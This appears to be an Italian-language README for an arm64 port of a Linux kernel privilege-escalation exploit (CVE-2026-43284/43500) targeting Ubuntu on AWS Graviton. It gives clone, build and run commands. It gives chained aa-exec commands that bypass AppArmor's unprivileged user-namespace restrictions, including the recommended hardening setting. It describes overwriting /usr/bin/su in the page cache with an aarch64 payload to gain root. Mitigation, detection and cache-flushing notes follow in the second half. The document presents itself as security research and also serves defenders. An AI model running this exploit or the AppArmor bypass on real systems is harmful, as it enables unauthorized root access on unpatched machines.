
Port per arm64/aarch64 di V4bel/dirtyfrag (CVE-2026-43284). Solo ESP - rxrpc path kernel-oopses su arm64 a causa di flush_dcache_page.
Porting arm64/aarch64 di V4bel/dirtyfrag (CVE-2026-43284, CVE-2026-43500).
Testato su Ubuntu 24.04.4 LTS con linux-aws 6.17.0-1013-aws su AWS Graviton (il più recente disponibile al momento della scrittura).
Analisi completa con bypass di AppArmor, note di hardening e rilevamento: linnemanlabs.com/posts/porting-dirtyfrag-arm64
Ubuntu ha due sysctl di AppArmor:
Entrambi possono essere bypassati concatenando aa-exec con se stesso utilizzando profili presenti nelle immagini standard di Ubuntu cloud e installer che ho testato:
aa-exec -p crun -- aa-exec -p crun -- ./dirtyfrag_arm64 --force-esp
Per maggiori informazioni, consulta Two Hops and a Shell per l'analisi completa del bypass di AppArmor su Ubuntu.
Il PoC upstream x86_64 utilizza due percorsi di exploit: un percorso ESP/xfrm che corrompe /usr/bin/su e un fallback rxrpc/rxkad che corrompe /etc/passwd. Su arm64 il percorso rxrpc causa un kernel oops e non può essere utilizzato. Il percorso ESP funziona senza problemi.
flush_dcache_pageSu x86_64, flush_dcache_page() è un no-op. x86 ha cache dati/istruzioni coerenti a livello hardware. Su arm64, esegue una vera manutenzione della dcache e dereferenzia i metadati struct page*. Quando il percorso crittografico rxrpc (rxkad_secure_packet -> crypto_pcbc_encrypt -> skcipher_walk_done) chiama flush_dcache_page su una pagina il cui riferimento è stato manipolato attraverso la catena splice/vmsplice, x86_64 lo salta silenziosamente ma arm64 incontra un errore di traduzione e va in oops:
pc : flush_dcache_page+0x18/0x58
lr : skcipher_walk_done+0xbc/0x260
crypto_pcbc_encrypt+0xe8/0x1c8 [pcbc]
crypto_skcipher_encrypt+0x48/0xb8
rxkad_secure_packet+0x108/0x270 [rxrpc]
rxrpc_send_data+0x264/0x550 [rxrpc]
Sui sistemi arm64 che ho testato, negare la scrittura di uid_map ha rimosso il percorso ESP funzionante. Il namespace può ancora essere creato, ma il processo non può mapparsi come root al suo interno né ottenere le capacità necessarie per la configurazione XFRM. Il fallback rxrpc non ha fornito un percorso di escalation dei privilegi senza namespace funzionante su arm64, ha invece causato un oops del kernel.
Su arm64, solo il percorso ESP era praticabile nei miei test. Questo percorso richiede la creazione di un namespace utente e di rete e quindi il mapping dell'utente chiamante a root all'interno di quel namespace. L'hardening della distribuzione può rompere quel percorso in diversi modi: Ubuntu può negare la scrittura di uid_map tramite le restrizioni userns di AppArmor, non ho testato su Debian/RHEL.
Sull'immagine AWS Ubuntu 24.04 che ho testato, apparmor_restrict_unprivileged_userns=1 ha bloccato lo sfruttamento diretto dalla mia normale shell SSH negando la scrittura di uid_map all'interno del nuovo namespace.
Tuttavia, con il valore predefinito apparmor_restrict_unprivileged_unconfined=0, un utente non confinato può passare a un profilo esistente in modalità complain (es. runc) tramite aa-exec e aggirare la restrizione:
aa-exec -p runc -- ./dirtyfrag_arm64 --force-esp
Impostare kernel.apparmor_restrict_unprivileged_unconfined=1 blocca questo percorso ed è attualmente ampiamente raccomandato come soluzione per bloccare tutti i percorsi. Tuttavia, aggiungere un altro aa-exec aggira anche quello:
aa-exec -p crun -- aa-exec -p crun -- ./dirtyfrag_arm64 --force-esp
Vedi i post precedentemente linkati per i dettagli.
L'exploit sovrascrive /usr/bin/su nella cache delle pagine con un ELF statico minimale. Il PoC upstream incorpora un ELF x86_64 con shellcode x86_64. Questo port lo sostituisce con un ELF aarch64 equivalente:
e_machine: EM_AARCH64 (183) invece di EM_X86_64 (62)svc #0 invece di syscall# Clone
git clone https://github.com/linnemanlabs/dirtyfrag-arm64.git
# Build
cd dirtyfrag-arm64
gcc -O0 -Wall -o dirtyfrag_arm64 dirtyfrag_arm64.c -lutil
# Run
./dirtyfrag_arm64 --force-esp
Il flag --force-esp salta completamente il percorso rxrpc per evitare l'oops del kernel arm64.
Al 09-05-2026, l'ultimo kernel aws Ubuntu 24.04 disponibile (6.17.0-1013-aws, compilato il 24 aprile) viene fornito senza patch né per Copy Fail (CVE-2026-31431, divulgato il 29 aprile) né per Dirty Frag (CVE-2026-43284/43500, divulgato il 7 maggio).
Metti in blacklist i moduli vulnerabili, applica l'hardening di sistema appropriato per la tua distribuzione.
Sicuro su qualsiasi sistema che non utilizzi attivamente la modalità di trasporto IPsec o AFS. Per impedire il caricamento dei moduli, inserisci quanto segue in /etc/modprobe.d/dirtyfrag.conf:
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
Ubuntu consiglia anche di rigenerare initramfs in modo che la blacklist sia presente durante l'avvio iniziale:
update-initramfs -u -k all
``
### Rimuovi i permessi di lettura dai binari SUID
Blocca questa classe di attacco alla cache delle pagine basata su splice contro quei binari SUID. L'exploit necessita dei permessi di lettura al file target per `splice()`. Gli utenti possono ancora eseguire i binari.
**Non implementare questo senza testarlo nel tuo ambiente e su tutti i tuoi strumenti.**
```bash
chmod o-r /usr/bin/su
Questa non è una soluzione, solo una mitigazione. Ci sono molti altri percorsi per l'escalation dei privilegi.
Per scaricare i moduli dal sistema in esecuzione:
rmmod esp4 esp6 ipcomp4 ipcomp6 rxrpc 2>/dev/null
Verifica che siano scaricati:
grep -qE '^(esp4|esp6|rxrpc) ' /proc/modules \
&& echo "Affected modules are loaded" \
|| echo "Affected modules are NOT loaded"
Svuotare la cache delle pagine dovrebbe rimuovere i contenuti malevoli e far sì che i file vengano letti di nuovo dal disco.
echo 3 > /proc/sys/vm/drop_caches
Nota: ho avuto risultati incoerenti con questo, ma più provo a riprodurlo, più funziona come previsto. Per questo PoC, puoi controllare l'md5sum su /usr/bin/su e, se non corrisponde, riavvia.
Esegui il passo di svuotamento della cache delle pagine, poi verifica con:
sha256sum /usr/bin/su
# O dal gestore pacchetti:
dpkg -V util-linux # Debian/Ubuntu
rpm -V util-linux # RHEL/Amazon Linux
Per un approccio più proattivo che affronti questa intera classe di vulnerabilità (non solo i CVE specifici), consulta l'analisi completa per le restrizioni userns di AppArmor, la prevenzione del precaricamento dei moduli e il rilevamento runtime basato su Tetragon, così come le regole YARA.
flush_dcache_page, ricerca su AppArmor, note di rilevamentoQuesto strumento è destinato esclusivamente a test di sicurezza e ricerca autorizzati.
L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione è illegale e non etico.
MIT. Copialo, rubalo, modificalo, impara da esso, condividi i tuoi miglioramenti con me. O non farlo. È codice, fai ciò che vuoi con esso.
| Proprietà | Valore |
|---|
| Istanza | AWS t4g.micro (Graviton2) |
| OS | Ubuntu 24.04.4 LTS |
| Kernel | 6.17.0-1013-aws #13~24.04.1-Ubuntu (compilato il 2026-04-24) |
| Architettura | aarch64 |
unprivileged_userns_clone | 1 (abilitato) |
| modulo esp4 | disponibile, caricabile |
| modulo rxrpc | disponibile, caricabile (ma crash su arm64) |
| Configurazione | immagine cloud stock di Ubuntu 24.04, moduli kernel predefiniti |